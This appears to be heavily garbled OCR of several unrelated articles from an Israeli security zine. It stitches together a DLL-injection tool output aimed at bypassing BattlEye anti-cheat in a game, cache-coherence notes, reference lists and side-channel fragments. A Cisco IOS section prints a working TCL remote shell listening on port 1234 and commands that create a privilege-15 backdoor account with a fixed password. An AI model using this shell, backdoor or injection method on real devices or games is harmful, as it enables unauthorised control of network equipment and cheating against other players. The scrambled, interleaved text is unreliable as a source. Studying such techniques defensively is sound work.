0000017 000 byte ptr [rax], Administrator: Command Prompt
8080817 aoe0 byte ptr [rax],
080 byte ptr [rax
080 byte ptr [r:
6080 byte ptr [r:

Add

ol C:\Users\krispy\Documents\DigitalWhisper>.\ExecDLL.exe
0000017 byte ptr [rax], [+] Found EFT

0008017 0 gﬁ: EE: {: - Process Id: 29348

byte ptr [rax], - EProcess: OxFFFFE60116818080
::::: :E {: : - Duplication handle: @x12C
E,\'te ptr [r Looking for IoCompletion valid handle to duplicate
I i I Found valid handle ex14
Found last mono RWX allocation at @x@0@0Q1F7C94A0000
i Preparing shellcode
CHEZTLT @Alinie & g New mono RWX allocation at ©x000001F7C94BoOOO
0081f7° c04b1888 cc . -
Mapping image locally
e ~ Local image base at ©x880081F1BB53D898
000001F7" Coab100E 2408 m quord ptr [rsps8], rbx Mapping .text section at ©x8000000000001000 of size ©xe0@
6060017 c94b1eed quord ptr [rsp:1eh], rsi Mapping .rdata section at 8x8000000000002000 of size B©xa®@
0600017 c84b1812 4 . quord ptr [rsp+26h], rdi N N ;
0000017 C94b1017 ria Mapping .data section at ©x2000000000003000 of size ©x200
e e : T B Mapping .pdata section at ©x0000000000004000 Of size ©x200
ria, rcx Mapping .retplnei section at 9x0000000000005008 of size ©x200
ecx, ecx y : ; i
s Happ:!.ng .rsrc sect:l.c.m at Ox0000000000006000 of s:l.Te ox2ee
al, al Mapping .reloc section at ©x0000000000007000 of size ©x200
8B8881F7C94B10FA : .
0000801f7 8ad040600 0B80601F7(94B14E4 RSSOlVng relocations locally
0000017 €94b1037 8ads b1, al Copying local image to remote target
4h1039 88442448 z\ﬁe gtl‘ [rsp+4eh], al Restoring 232 original bytes
dword ptr [1F7Co4B30EGh], © Done!
85c5800000 ©00001F7Co4B1112
B 2020000001000000 mov dvmmj ptr [1F 4B30Ee|

oo A1 vet-Xing3X v 1 2 1~ x ' 1

.PEs * x lmpont address table . T x <« 4 v Xxs o, ] 1474 .

o

T 9% PE heddept s _x 7 o1 b DxsCC LI el X G X 0 X s

r 17 x 1 _-DLL 1 EXport address tablé @ x 4« &7 X EERER R Cv v X 1

4 dLs s X
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Battleye . x . s . . s
s DX LY L
1™ Process Hacker [DESKTOP-SEK4G5G\krispy]
Hacker View Tools Users Help
"?,Refresh ¢ Options | &8 Find handles or DLLs 24 System information | [] _:3 b 4
Processes Services Network Disk
Name PID CPU I/Ototal.. Privateb.. Username Description
~ BF EscapeFromTarkov.exe 36484 176 480 B/s 7.25GB DESKTOP-SEK4G5G\krisp EscapeFromTarkov.exe
& UnityCrashHandler4.exe 32496 1.53 MB  DESKTOP-SEK4G5G\krisg
Time to see if Battleye can catchme:) X
Ariel was here
OK
Ll x , Escapé&FromTarkov_BE.exe _ s - 1 Battleye. x 41 4 L s - s N IR I
DLES _MessageBog , © ~ ¢ ¢ Useimode* *x @ _ »~1 7 X JI4{% 50 0 XIqxD W X s
I« 1 s L I x o s Yo =] X X s i« X ] ox I x & s X
2xCs s {4 _ s _xTys T4 xs
B B SO, I N Y L Y-Mopk ST ¥ys s I .
. qx 11 XU & sxaT, s T, X sx  JRs~ _ xP'xo o AT o0 41X
1ox 0 s 1A o v XY L lx s o x e ox o L. X
Ll x _I X _I L | « = X ‘_“X'l : ']S: X'I X ‘S'i”x‘lx‘- X
{19 « ,“] S - s . q . s " x| Lol L, X X s s ¢ I x o L, |
XX o i TG T A X FH L AR . X X ]
x 1 s R x 1 % 1 x L JITHyxx. L XS (4.4s .
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T CODIFS 407 Nativese Y Iioxg s Ref . X X

Memory 0 Disassembly X

Address: | 8x14862e40000 Follow current instruction

UUOUUV1I4S DLE40L4/0 485048V10 mov rax, yworu pur |rax+ion]
00000148 62e4027f 4883c118 add rcx, 18h

00000148 62240283 48898518ffffff mov qword ptr [rbp-0E8h], rax
00000148° 62e4028a 488901 mov gqword ptr [rcx], rax
00000148° 62e4028d 90 nop

00000148 6224028 49bbc92c891c47010000 mov rl1, 1471C892CC9h
00000148 6240298 41ffd3 ril

00000148° 6224029b 488b8518ffffff mov rax, qword ptr [rbp-©E8h]
00000148° 62e402a2 488bo510ffffff mov rdx, qword ptr [rbp-©Feh]
00000148 6240229 4c8b8desffffff mov r9, qword ptr [rbp-0F8h]
00000148 62e402b0 4c8bc2 mov r8, rdx

00000148° 62e402b3 498b4710 mov rax, qword ptr [ri15+10h]
00000148 62e402b7 488bc8 mov rcx, rax

00000148° 62e402ba 4c898dS8ffffff mov qword ptr [rbp-0A8h], r9
00000148 62e402c1 4c898550fFffff mov qword ptr [rbp-0Beh], r8
00000148 62e402c8 48899548 ffffff mov qword ptr [rbp-eB8h], rdx
00000148 62e402cf 48898d4offffff mov qword ptr [rbp-eCeh], rcx
00000148 62e402d6 4885c0 test rax, rax

00000148 62e402d9 018501000000 0000014862E403B0
00000148° 62e402df 4d85ff test rilS5, ris

00000148° 62e402e2 013400040000 0000014862E406E8

00000148 62e402e8 48b91884206148010000 mov rcx, 14861A08418h
00000148 6240212 488d6d00 lea rbp, [rbp]

00000148 62e402f6 49bb1030891c47010000 mov ril, 1471C893010h
00000148 6240300 41ffd3 ril

00000148 62240303 488bc8 mov rcx, rax

00000148 62240306 4d85ff test ril5, riS

00000148 62240309 ©f84d2030000 0000014862E406E1
00000148° 62e4030f 4c897920 mov qword ptr [rcx+26h], ri5
00000148 62240313 48898des8ffffff mov qword ptr [rbp-©F8h], rcx
00000148 62e4031a 4883c120 add rcx, 26h

00000148 62e4031e 49bbc92c891c47010000 mov ril, 1471C892CC9h
00000148° 62240328 41ffd3 ril

00000148 62e4032b 488b8desffffff mov rcx, qword ptr [rbp-©F8h]
00000148 62240332 48b8e0cbef6148010000 mov rax, 14861EFCBE®h
00000148" 62e4033c 48894128 mov qword ptr [rcx+28h], rax
00000148 62240340 48b8906016248010000 mov rax, 14862016E90h
00000148 6224034a 48894140 mov gword ptr [rcx+46h], rax
00000148 62e4034e 48b8986e€016248010000 mov rax, 14862016E98h
00000148° 62240358 488b5028 mov rdx, qword ptr [rax+28h]
00000148° 62e4035¢c 48895118 mov gqword ptr [rcx+18h], rdx
00000148° 62240360 488b4020 mov rax, qword ptr [rax+20h]
00000148 62240364 48894110 mov qword ptr [rcx+16h], rax
00000148° 62240368 6417000 mov byte ptr [rcx+70h], ©
00000148° 62e4036¢ 488bc1l mov rax, rcx

00000148° 62e4036F 48898d18ffffff mov qword ptr [rbp-0E8h], rcx
00000148 62240376 48898d60FFfFff mov gword ptr [rbp-0A8h], rcx
00000148 62e4037d 498d4f10 lea rcx, [r15+10h]

00000148° 62240381 48898510ffFffff mov gqword ptr [rbp-©Feh], rax
00000148 62240388 488901 mov qword ptr [rcx], rax
00000148 62e4038b 666690 nop

00000148 62e4038e 49bbc92c891c47010000 mov ril, 1471C892CCSh
00000148° 62240398 41ffd3 ril

e, b o x4 T ealbse L Xy x p1ll ayxsXe X0 X x s s
I x « s {.s«1q , X1 s , o S F S v qd .« L, X X ] . ¥ X o«
s TYLLYMIRE A 474 %s 0 Clang X xJd . o4 dH, _x X x

L1 - ¥ x X tgallie AxsiX 14 0l deHd 1% EPRIsA XX

(v v xiu)
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cL Y X A o ox A s Taixxe o Txs A4 )44 0 X7 4T~ sped el s s

Tl X « X 1L S X " « X L 1«4 ¢ s ] x "s = ¢ s X ]
I X " ¥y s
Zx“v]Zs :x-|-|~>< ]l . X o FXo (“xZ L :,,:x) L IA.|
P Tx .1 d€ L. “Hodks 1 1 X sXX MR K hks s ¥s DX "] x
I x X

I « LEDR 7 < 77 K ] e d x4 X0 4 T . XX TR B » XX
x,_xyvs Lo s X s " X g ,F XA Lo X X X X = s X
1. %41 L s hox 0 . L T "L X X~ L B O B BN
.4 ox s ¥ Ty 4 v LA e x e T o
x Iox x {xys” S . oo X x « DBattleye X "TYis_ " 1

B X, X .
Kkert-xtrlx , ~ « 1 _ s 1. Xy 1L x ., ¢ x4 171" o LoX
R L
.o X 17« X I X .S oo UM XS C 1 s X Ll Y K
Prp s 47 s " " {skxkxddxxq4¢ X4 01 x _ox  Tx o
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https://github.com/iam-tr1x
https://github.com/vkerty
https://x.com/krispied_
https://www.linkedin.com/in/ariel-terry

Technologic

https://digitalwhisper.co.il/files/Zines/OxA3/DW163-BYOVD.pdf
https://github.com/TheCruZ/kdmapper

https://loldrivers.io

= = 4 -2

https://learn.microsoft.com/erus/windowshardware/drivers/ddi/wdm/nfwdm-

obreqistercallbacks

https://discussions.unity.com/t/monevs-il2cpp/703013

https://github.com/mono/mono

https://www.youtube.com/watch?v=d7KHAVaX Rs

= =4 4 -

https://www.unknowncheats.me/forum/escapérom-tarkov/481913battleyentplay-

offline-raids-battleye-live-version.html

https://github.com/mostdefinitelynotnth/battleyent

https://processhacker.sourceforge.io/downloads.php

https://github.com/NationalSecurityAgency/ghidra

= = 4 =2

https://docs.unity.com/ugs/manual/cloudliagnostics

advanced/manual/ConnectToSymbolServers

E ]

https://github.com/Sa&BreachLabs/PoolParty

9 https://www.safebreach.com/blog/procesmjectionusingwindowsthread-pools/

9 https://defuse.ca/onlinex86-assembler.htm
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https://digitalwhisper.co.il/files/Zines/0xA3/DW163-1-BYOVD.pdf
https://github.com/TheCruZ/kdmapper
https://loldrivers.io/
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks
https://discussions.unity.com/t/mono-vs-il2cpp/703013
https://github.com/mono/mono
https://www.youtube.com/watch?v=d7KHAVaX_Rs
https://www.unknowncheats.me/forum/escape-from-tarkov/481919-battleyent-play-offline-raids-battleye-live-version.html
https://www.unknowncheats.me/forum/escape-from-tarkov/481919-battleyent-play-offline-raids-battleye-live-version.html
https://github.com/mostdefinitelynotnth/battleyent
https://processhacker.sourceforge.io/downloads.php
https://github.com/NationalSecurityAgency/ghidra
https://docs.unity.com/ugs/manual/cloud-diagnostics-advanced/manual/ConnectToSymbolServers
https://docs.unity.com/ugs/manual/cloud-diagnostics-advanced/manual/ConnectToSymbolServers
https://github.com/SafeBreach-Labs/PoolParty
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://defuse.ca/online-x86-assembler.htm
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Cache Coherence
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s « S
x 4 FX oYL x 7o e A L B B I R T
Pl _cathe™ 4 xxsp 4 4 0 4 X4 ] L. xs oox ] x Toxo
S Lo X 4N S8 XX, Cw X T v X T e x o X s 6y Pl
L B T R S I e B cx 41 > -highlevel | x « x ™ 77 < x
N “lawHlevel x4t 4 s L x o D x> ] e e T ] T v {7y
S . X s 1 % 9 ¥-hightlével s~ xJ o> s ¢ X x 1«4 A
P T N oA ex X w =L
L x s X S | S . e ”oXx s ¢ s FoL X S Lo~ « « X X
s ¢ outdferder | x . o X7 o I x oL b XL ¥ DX x4 4 xX 4, X
X, ] q€ 10! x X =x ., ] 4°¢ 1 X 1 X ] X | « S x -
wcache r s 47 4> x 41X x4 x4 X x4 Sx T e X oS
T4 x4 T x| X Xuthflead 4 4 % X 4 L8 x S X ) Xx g, xo P s ] {0
box Xy P47 x s Fd X4 ), s X cx 4 S 41 xS L FdoL . XY
2014
cd 1 T A S BT 114 0 s ¢ s s "
x {417 .,8sx< o .xXcache " ¥ 4¥Y . s & p cachd ¥” "4 0418k d
s , X (X i x L L S iy X "o Lxrooox " X L, x4 w141, s b oS X
X " ox 4 .S - =4 x” . C s s , X ( XX X Jcdche* s X « 4 d X « x 4 x .,
Ao x4 v 4.9 x v 4. <Multi-¢opyatomicity r ;X + A d [ T A XD DX { B, |
x4 17 . sx < 0 v AT x kA
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| s « A1 s "
x| . I I

I S x " « X « X 41

x {x A1 X 4 s L X 1A ¢« I 1L Ss o xi ss” x x |s
1. .« 47« L N S B T T S R, I . I T B N

X < X "
Cache
« X X

XA $x L 4L ”DRAM ”=><x”,,xJ“-|s<.‘ : 3 X L s X s X vow RA?M'IQ,X"'J }(_Ivﬁs | %

R T Pl s L xs {7X x 1 x ., ]s X X o is 41

104 ¢ X4 4 Lsx7 o xs o _ SSRAMS S Isxs s ]
1 . L X« X X X q S
.o A Tx ., 14¢s . r teche: 77 x P JXIXGRAMS Y €S CLlY ws L6 X0

I " s X I x . s s | X x S X | ¢ x ., . L, X | s | x S
1171 X 17 ¢ X A X« T4y S
FARE X 4 o0 s A Yy Yy 4 X R BRI A NS IS L TR N SR
-L s {y % X ] ’=x,,J.|¢ L, X € ¢ X X . X gl x R " q
Tx L, 149 v 471 p Btack L T XV X
, S oy x by PN - ¢ ~ I x ox SN AP S AT IS N |
v .owqd s L X L ox ] A X 4 <" X P OXRT X x O Fx o, LS XX O x (X

=x ., ] 4 ¢ X X { x X X X ] % . Cx X q
17 ¢ 171, L RN Lo r 1 . XRAM =SXYu'IJ\'IV‘T Lv LSe_ 1,¥° 4,
1o s 4 x o dXs 4 4, s eaghel™ xudX, v 0 XL« b 47 A

Fde 4 o cache line, ~-1~1) L |, ~ R 1x 74 s i~ , X . 1A
111 x 1 Cathe lings® L: «s «7ux s1 . tcache Y {1H1 ‘xX¥s Tx¢ s 7x
FXOX T -l "cachar I + # . II'7 Fo1lmx 0 1
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L Xp s 4o 7 s X L -taches: ot ok HA o, s oLk A
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X o, X x L ~cdchelineg Wl % Sl L7, x« X Xxpus$ L 4! FxpAXxX ., 1498 X
1~ Tx 4 S s, 07X (4~ Tx ]
LA D IR
X X . 4" ox Vs R « ox X% | Foloxoo .« XS ;o « . S = x ., 1
X v S+ q., .S L X _cache*« + A« M 7 xcaghe¥, + 47 , 1 X+« . %]  x
x4 s.,4s s 4y , .« s¢ 14 scaches § _<xs541_%.,3%93% ]s
x4 XX 40X . X
cache (Cache entries)- x _ x .
cache x*cachelines+ 1+« .~ « " s x>* o cdchey * {1 p d ~ | X x . J xC& 74X 4.
L entryds cache entry - ~ cacles |, L - i+~ .~ s 7 xachedifes.__ bloeks. x _
X T ” ps x 7 N B N I N T
x40 s x o Feo oS bxexs 410 oxs T x4 O X oy
x X s * x 1 ] s cache linesd s L
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‘gaches! cache* -~ *1 . _ " s s

, S ¢ lcathehitt s -« " X+ .ox T gadeXs N7 ApddsT xIIxsT sy
s x ., X, 4s X s * 1 Gache™~  Spodq7, X308 1ol x L X 4x ¥
, ¢ 1 cachemids _ . * cathe _« «,_ " v _ XX s Tx ., ] {Ss xg
s o Xs T L i _+«.s 7 x. ] 4€aeheentryls_.xeaches + {7 x 7 s
S, _ X L .ixq4 s, 4s s {s S lcaches T4 42xi” ¢ sl ¥yss
XX FS AL oY s X
Cache Miss
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https://en.wikipedia.org/wiki/Write_buffer
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Serialization Point vs Point of Coherence
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[Figure B 5 ReadNoSnp transaction flow from AMBA CHI Architecture Specification (developer.arm.com)]

- X4 A1 iy . xS *EXpCompAck ! s 1 YReadNoSnp 1 41 « « &, %\ X
- x x dndoping. ¢ _ ~ ¥ ¥ B« ¢ CompAck: ! 48 L s xs 1% _Requester0

NoSnpl - ~ I x « XX I « Homes | T x ., [4xC,s4 { d* {7 x 1 " s

~ v ~

oA e F L ReadNoSnp 1 4« O LX) s s L
=S ., % Mmd~ ! ¥YBxpCompAck ! _ 5 _ + ReadNoSnp _ « X {1 | Requester0-s dn
A4 Ls xss X D x ¥ X L4 Home
.Subordinater ReadNoSnp | « *+~1 L xs_ Xs X ss s X s X Homes @&
.Homes . CompData_l * x.¥ + ¢ Subordinates ®
- L ysx{ s  ExpCompAck ' _ Y RequesterO-L x . * « + 8 ” x2:c2 4 CHomes

(L s W s o w8 1 ux sl HHomes ReadNoSnp _f 4 4 Xs. S X

Cache Coherence
www.DigitalWhisper.co.il
yT HapH ~ 1717 x 1 L Y




Technologic

-L CompAck | ! x ST xs x o Xs g 44I%{4 1 L sivp {1 {Requeste0-s P
v~ x _ ¥+ Requester0 ¢ + Homes _CompData_F , ' xss _*{ ys * x Hdme
P X YT s s s S dsshobpS | L L L Y AT T s s X KT ox DT s
X oG XA X B LS o xSl < S L A sRequester0-* o AdSdLs 10 X X

Invalid. invalid

S o« X s o< s 1 *Reyueste0-, CompAck * x ¥« ¥ <Homes @

Tx o, 1 4C  Tx b smoope - F AN LA FS YK, 3 X

P xS 0w 9 L {lLsY | B56- x ReadUnique « 1% Ss]{ o < ¢ X 5§y x|
'S . y | s x” JX'L”VX X s

a ~

RN-FO RN-F1 RN-F2 HN-F SN-F

[ ReadUnique

ReadNoSnp

y

SnpUnique

SnpUnique
UDP->|
SnpRespDataPtl_|_PD SnpResp_|
- CompData_|
Merge
data

CompData_UD_PD

I->UD

CompAck

JRY

[Figure B 6 ReadUnique with partial data snoop response from AMBA CHI Architecture Specification (developer.arm.com)]
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[Figure B 7 ReadClean with partial data snoop response from AMBA CHI Architecture Specification (developer.arm.com)]
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[Figure B 12 CleanUnique with memory update from AMBA CHI Architecture Specification (developer.arm.com)]
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[Figure B 15 WriteNoSnp with separate responses from Home Node to Request Node from AMBA CHI Architecture Specification

(developer.arm.com)]
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[Figure B 16 WriteUniquePtl with snoofl from AMBA CHI Architecture Specification (developer.arm.com)]
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[Figure B 17 WriteBackFull transaction flow from AMBA CHI Architecture Specification (developer.arm.com)]
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p X XX e s Xa K xs X xi e b2y 4 X x b4 x40 x| A
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d 7 ox A x| xXs {3 X x {Lsx BNMP

YBNMPWALK 1L ]S | x e aqss x ¢
snmpwalk -v 2c -c public 10.0.0.1
Pl A Je S ¥ Al e LQ2Y Y dzy A §RE - BNMBR YT, L vx X7 L 1y s
¥« XSS, X W3XY B[ | s

SNMPvaMIB::sysDescr.0 = STRING: Cisco IOS XE Software, Version 17.3.1

Connection

1 x . : X F{MZ\FXNi;_ﬂ]quKSSﬁ“j{-],,Zxst‘ « XX L I X, X ] 1 s s

~

FooX 0 L F2ONHZOXS, 7 L e L T Bl X AT XL xS 44 x s

S %L XX L L XSPLSNIRYAY
ssh admin@10.0.0.1

Exploitation

D oL S IXTTGH 4 A e F T A IS X sdX 4 X7

~ ~

c 44, s 8, 4 TOLSHELL V0.1 by Andy Davi$ , 1 »~ 4, %% -~ X% 3 4. o s

~

dx Ix{x ! x4, 5¢x*4¢ ], Remote Shell
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callback {sock addr port }{
$sock - translation If buffering line

response [ { "sh version | include 10S" } result]
$sock "System Info: $resulst”

response [ { "sh privilege" } result]
$sock "Current Privilege Level: $result \n"

$sock "Enter IOS command:"
$sock readable [ process_comamnd $sock]

process_comamnd {sock} {
{l $sock] [ { $sock line}]} {
$sock

response | "$line" } result]
$sock $result

port 1234
sh [ server callback $port]
"TCL Shell listening on port $port..."
forever
$sh

X

AP XX 0SS TG, s X 4 LS ISHEDM L, M 4~ WL XS X F {8 X" X
dx & Txx, I x

ST LIWY XS I {4 1% g st {QALLBACKA 1 < A MH Ol X. X X4

AT HBE X, S A4S d e e ds X O X X K0d_ T Y LD x0T, s,
1% LShElS 1S« F 4L S xS IdqL.ss X L Ky S

~

vwait ) b
D T 1 xxs kA4 1A s x b d 1 44 - J¢rever

Backdooring

(IR TP D> BN S N I RN B P L% IR U ol DL

~ ~ v

S H X s X R e s S X X ]l S v s X Y XA~ FRL

~

[ run_command "configure terminal® ]

[ run_command "username backdoor privilege 15 secret Attacker123"
[ run_command "exit" ]

-TCL
www.DigitalWhisper.co.il

HapH ~ A717 X 4 0¥



Technologic

Lateral Movement
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X 4 X sxTx X MBS T X WA@Y s XX Fes{ie X L E . X C ]y
.VLAN Hopping

WCL X < ¢ 4 ¥ « xCoscols® 4 1%« « CVER L 1%~ 1

SeLqs ) fxs % ko, o xg sk ] JTCVE202220676 & CVR020-3204
b, X Xsx{” Xl . S v1S__ 4% .8 XPCH | 4 A« LIk CNBBHUX v | .S
Pxe oS ax ool X4 s X« » OTCLinterpretaf 1 L - X _ 4

dLx L x 1E 40T 4hx, 1 o2y SELIMZA G _

FXol A

SY X T A X XX A e d DX Sy x 7 4 il TS IPBCLE 41 ) S s
CXT X LT s oL X X w7 e Xospox T Xt 4T R X X X s x ] WY~
Suo, Bl X I X T s XS sy GssX 4 e X G L K T 1 X s
T X X xR XX XX v X ¥, 478 R W | A e, X R

J X A IS s e IXs v e BACRXS s BV 1T Y
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https://www.digitalwhisper.co.il/files/Zines/0x7F/DW127-1-VLANHopping.pdf
https://www.digitalwhisper.co.il/files/Zines/0x7F/DW127-1-VLANHopping.pdf

Technologic

https://www.tcl-lang.org/

https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6

x/programmability/quide/b _Cisco Nexus 9000 Series NX
OS_Programmability Guide/b_Cisco_Nexus 9000 Series NX

OS_Programmability Configuration Guide chapter 0111.pdf

https://nvd.nist.gov/vuln/detail/cve2022
20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands
%Das%20root

https://he.wikipedia.org/wiki/Tcl

https://www.cisco.com/c/en/us/support/docs/csa/ciseceaiosxepriv-escgrbtubU.html

https://www.cisco.com/c/en/us/td/docs/iosxml/ios/ios tcl/configuration/124t/ios-tcl-12-

4t-book/nm-script-tcl.html

https://dfi.lists.bugtrag.narkive.com/PoSdEsgr/creatibgckdoorsin-cisceios-usingtcl

https://blog.ipspace.net/2008/03/tclbasedios-backdoor/
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https://www.tcl-lang.org/
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://nvd.nist.gov/vuln/detail/cve-2022-20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands%20as%20root
https://nvd.nist.gov/vuln/detail/cve-2022-20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands%20as%20root
https://nvd.nist.gov/vuln/detail/cve-2022-20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands%20as%20root
https://he.wikipedia.org/wiki/Tcl
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-iosxe-priv-esc-grbtubU.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ios_tcl/configuration/12-4t/ios-tcl-12-4t-book/nm-script-tcl.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ios_tcl/configuration/12-4t/ios-tcl-12-4t-book/nm-script-tcl.html
https://dfi.lists.bugtraq.narkive.com/PoSdEsgr/creating-backdoors-in-cisco-ios-using-tcl
https://blog.ipspace.net/2008/03/tcl-based-ios-backdoor/
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1. Photodiode (25 KHz).

2. iPhone 13 Pro Max (Maximum 10 KHz).

3. Samsung Galaxy S22 Ultra (Maximum 6 KHz).
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1 Libgcrypt 1.8.4 (ECDSA sign operation).
1 GnuPG 1.4.13 (RSA decrypt operation).
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